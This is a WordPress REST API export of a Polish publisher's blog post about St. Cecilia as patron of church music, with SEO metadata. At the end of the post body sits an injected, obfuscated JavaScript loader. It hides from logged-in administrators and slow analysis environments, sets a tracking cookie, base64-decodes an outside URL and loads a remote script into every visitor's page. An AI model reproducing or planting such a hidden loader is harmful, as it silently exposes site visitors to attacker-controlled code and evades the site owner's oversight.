{"id":4286,"date":"2024-11-12T14:15:00","date_gmt":"2024-11-12T13:15:00","guid":{"rendered":"https:\/\/edycja.com.pl\/?p=4286"},"modified":"2026-05-04T16:03:09","modified_gmt":"2026-05-04T14:03:09","slug":"sw-cecylia-patronka-spiewu-i-muzyki-koscielnej","status":"publish","type":"post","link":"https:\/\/edycja.com.pl\/?p=4286","title":{"rendered":"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-4287\" src=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_ilustracja-do-tekstu.jpg\" alt=\"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej\" width=\"1130\" height=\"400\" srcset=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_ilustracja-do-tekstu.jpg 1130w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_ilustracja-do-tekstu-300x106.jpg 300w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_ilustracja-do-tekstu-1024x362.jpg 1024w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_ilustracja-do-tekstu-150x53.jpg 150w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_ilustracja-do-tekstu-768x272.jpg 768w\" sizes=\"(max-width: 1130px) 100vw, 1130px\" \/><\/p>\n<p class=\"normal\"><span lang=\"pl\">22 listopada Ko\u015bci\u00f3\u0142 wspomina \u015bw. Cecyli\u0119 \u2013 jedn\u0105 z najpopularniejszych \u015bwi\u0119tych m\u0119czennic pocz\u0105tk\u00f3w chrze\u015bcija\u0144stwa, patronk\u0119 muzyki ko\u015bcielnej, ch\u00f3rzyst\u00f3w, lutnik\u00f3w, muzyk\u00f3w, organist\u00f3w oraz zespo\u0142\u00f3w wokalno-muzycznych. Patronat nad muzyk\u0105 ko\u015bcieln\u0105 przypisano jej co prawda dopiero pod koniec \u015bredniowiecza, co wi\u0105za\u0142o si\u0119 z b\u0142\u0119dnym odczytaniem znaczenia antyfony w oficjum brewiarzowym \u2013 przez mylne odczytanie antyfony przypisano \u015bw. Cecylii gr\u0119 na organach. Mimo to powsta\u0142o wiele stowarzysze\u0144 i grup cecylia\u0144skich, kt\u00f3re przyczyni\u0142y si\u0119 do odnowienia muzyki liturgicznej. Istnieje r\u00f3wnie\u017c szereg wizerunk\u00f3w \u015bwi\u0119tej, na kt\u00f3rych ukazywana jest podczas gry na organach, cytrze, harfie, lutni lub innych instrumentach. Prawdopodobne jest jednak, \u017ce Cecylia gra\u0142a na jakim\u015b instrumencie, gdy\u017c \u00f3wczesne kobiety rzymskie cz\u0119sto kszta\u0142ci\u0142y si\u0119 w grze na harfie.<\/span><\/p>\n<p class=\"normal\"><span lang=\"pl\">\u00a0Do dzisiaj \u015bw. Cecylia czczona jest jako patronka muzyki. Jej imieniem nazywane s\u0105 ch\u00f3ry, zespo\u0142y muzyczne, a nawet akademie. Przyk\u0142adem mo\u017ce by\u0107 jedno z najstarszych konserwatori\u00f3w w \u015bwiecie powsta\u0142e w 1585 roku: Akademia Muzyczna \u015bw. Cecylii w Rzymie (Accademia Nazionale di Santa Cecilia). Przy Bazylice \u015bw. Franciszka w Krakowie dzia\u0142a od 1923 roku m\u0119ski Ch\u00f3r Cecylia\u0144ski, za\u0142o\u017cony przez w\u0142oskiego franciszkanina Bernardino Rizziego. Mianem Cecyliady okre\u015blane s\u0105 z kolei liczne festiwale i przegl\u0105dy muzyki ko\u015bcielnej, ch\u00f3r\u00f3w, pie\u015bni religijnych, odbywaj\u0105ce si\u0119 w r\u00f3\u017cnych miejscowo\u015bciach. Z okazji \u015bwi\u0119ta swojej patronki zwyczajowo muzycy, ch\u00f3ry i zespo\u0142y ko\u015bcielne przygotowuj\u0105 specjalne koncerty, kt\u00f3re s\u0105 okazj\u0105 do prezentacji tw\u00f3rczo\u015bci oraz do wsp\u00f3lnej modlitwy.<\/span><\/p>\n<p><span lang=\"pl\">Wspomnienie \u015bw. Cecylii to r\u00f3wnie\u017c zach\u0119ta dla ka\u017cdego, aby zbli\u017ca\u0107 si\u0119 do Boga poprzez muzyk\u0119. Jak to zrobi\u0107?<br \/>\nZach\u0119camy do lektury najnowszego \ud83d\udc49<strong><a href=\"https:\/\/edycja.pl\/blog\/post\/muzyka-chrzescijanska?utm_source=edycja.pl&amp;utm_medium=mail_blog_promocja_13_11_2024&amp;utm_campaign=promocja_13_11_2024\" target=\"_blank\" rel=\"noopener\">bloga<\/a><\/strong><br \/>\n<\/span><script>;(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0bQ==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>22 listopada Ko\u015bci\u00f3\u0142 wspomina \u015bw. Cecyli\u0119 \u2013 jedn\u0105 z najpopularniejszych \u015bwi\u0119tych m\u0119czennic pocz\u0105tk\u00f3w chrze\u015bcija\u0144stwa, patronk\u0119 muzyki ko\u015bcielnej, ch\u00f3rzyst\u00f3w, lutnik\u00f3w, muzyk\u00f3w, organist\u00f3w oraz zespo\u0142\u00f3w wokalno-muzycznych. Patronat nad muzyk\u0105 ko\u015bcieln\u0105 przypisano jej co prawda dopiero pod koniec \u015bredniowiecza, co wi\u0105za\u0142o si\u0119 z b\u0142\u0119dnym odczytaniem znaczenia antyfony w oficjum brewiarzowym \u2013 przez mylne odczytanie antyfony przypisano \u015bw. Cecylii&#8230;<\/p>\n","protected":false},"author":6,"featured_media":4288,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[34],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej - Edycja \u015awi\u0119tego Paw\u0142a<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/edycja.com.pl\/?p=4286\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej - Edycja \u015awi\u0119tego Paw\u0142a\" \/>\n<meta property=\"og:description\" content=\"22 listopada Ko\u015bci\u00f3\u0142 wspomina \u015bw. Cecyli\u0119 \u2013 jedn\u0105 z najpopularniejszych \u015bwi\u0119tych m\u0119czennic pocz\u0105tk\u00f3w chrze\u015bcija\u0144stwa, patronk\u0119 muzyki ko\u015bcielnej, ch\u00f3rzyst\u00f3w, lutnik\u00f3w, muzyk\u00f3w, organist\u00f3w oraz zespo\u0142\u00f3w wokalno-muzycznych. Patronat nad muzyk\u0105 ko\u015bcieln\u0105 przypisano jej co prawda dopiero pod koniec \u015bredniowiecza, co wi\u0105za\u0142o si\u0119 z b\u0142\u0119dnym odczytaniem znaczenia antyfony w oficjum brewiarzowym \u2013 przez mylne odczytanie antyfony przypisano \u015bw. Cecylii...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/edycja.com.pl\/?p=4286\" \/>\n<meta property=\"og:site_name\" content=\"Edycja \u015awi\u0119tego Paw\u0142a\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-12T13:15:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-04T14:03:09+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_zajawka-com-pl.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"300\" \/>\n\t<meta property=\"og:image:height\" content=\"300\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Sylwia Cierpia\u0142\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sylwia Cierpia\u0142\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/edycja.com.pl\/?p=4286\",\"url\":\"https:\/\/edycja.com.pl\/?p=4286\",\"name\":\"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej - Edycja \u015awi\u0119tego Paw\u0142a\",\"isPartOf\":{\"@id\":\"https:\/\/edycja.com.pl\/#website\"},\"datePublished\":\"2024-11-12T13:15:00+00:00\",\"dateModified\":\"2026-05-04T14:03:09+00:00\",\"author\":{\"@id\":\"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318\"},\"breadcrumb\":{\"@id\":\"https:\/\/edycja.com.pl\/?p=4286#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/edycja.com.pl\/?p=4286\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/edycja.com.pl\/?p=4286#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Strona g\u0142\u00f3wna\",\"item\":\"https:\/\/edycja.com.pl\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/edycja.com.pl\/#website\",\"url\":\"https:\/\/edycja.com.pl\/\",\"name\":\"Edycja \u015awi\u0119tego Paw\u0142a\",\"description\":\"Strona wydawnictwa Edycji \u015awi\u0119tego Paw\u0142a\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/edycja.com.pl\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318\",\"name\":\"Sylwia Cierpia\u0142\",\"url\":\"https:\/\/edycja.com.pl\/?author=6\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej - Edycja \u015awi\u0119tego Paw\u0142a","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/edycja.com.pl\/?p=4286","og_locale":"pl_PL","og_type":"article","og_title":"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej - Edycja \u015awi\u0119tego Paw\u0142a","og_description":"22 listopada Ko\u015bci\u00f3\u0142 wspomina \u015bw. Cecyli\u0119 \u2013 jedn\u0105 z najpopularniejszych \u015bwi\u0119tych m\u0119czennic pocz\u0105tk\u00f3w chrze\u015bcija\u0144stwa, patronk\u0119 muzyki ko\u015bcielnej, ch\u00f3rzyst\u00f3w, lutnik\u00f3w, muzyk\u00f3w, organist\u00f3w oraz zespo\u0142\u00f3w wokalno-muzycznych. Patronat nad muzyk\u0105 ko\u015bcieln\u0105 przypisano jej co prawda dopiero pod koniec \u015bredniowiecza, co wi\u0105za\u0142o si\u0119 z b\u0142\u0119dnym odczytaniem znaczenia antyfony w oficjum brewiarzowym \u2013 przez mylne odczytanie antyfony przypisano \u015bw. Cecylii...","og_url":"https:\/\/edycja.com.pl\/?p=4286","og_site_name":"Edycja \u015awi\u0119tego Paw\u0142a","article_published_time":"2024-11-12T13:15:00+00:00","article_modified_time":"2026-05-04T14:03:09+00:00","og_image":[{"width":300,"height":300,"url":"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2024\/11\/Muzyka_blog_zajawka-com-pl.jpg","type":"image\/jpeg"}],"author":"Sylwia Cierpia\u0142","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Sylwia Cierpia\u0142","Szacowany czas czytania":"2 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/edycja.com.pl\/?p=4286","url":"https:\/\/edycja.com.pl\/?p=4286","name":"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej - Edycja \u015awi\u0119tego Paw\u0142a","isPartOf":{"@id":"https:\/\/edycja.com.pl\/#website"},"datePublished":"2024-11-12T13:15:00+00:00","dateModified":"2026-05-04T14:03:09+00:00","author":{"@id":"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318"},"breadcrumb":{"@id":"https:\/\/edycja.com.pl\/?p=4286#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/edycja.com.pl\/?p=4286"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/edycja.com.pl\/?p=4286#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Strona g\u0142\u00f3wna","item":"https:\/\/edycja.com.pl\/"},{"@type":"ListItem","position":2,"name":"\u015aw. Cecylia \u2013 patronka \u015bpiewu i muzyki ko\u015bcielnej"}]},{"@type":"WebSite","@id":"https:\/\/edycja.com.pl\/#website","url":"https:\/\/edycja.com.pl\/","name":"Edycja \u015awi\u0119tego Paw\u0142a","description":"Strona wydawnictwa Edycji \u015awi\u0119tego Paw\u0142a","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/edycja.com.pl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318","name":"Sylwia Cierpia\u0142","url":"https:\/\/edycja.com.pl\/?author=6"}]}},"_links":{"self":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/4286"}],"collection":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4286"}],"version-history":[{"count":3,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/4286\/revisions"}],"predecessor-version":[{"id":4840,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/4286\/revisions\/4840"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/media\/4288"}],"wp:attachment":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4286"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4286"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}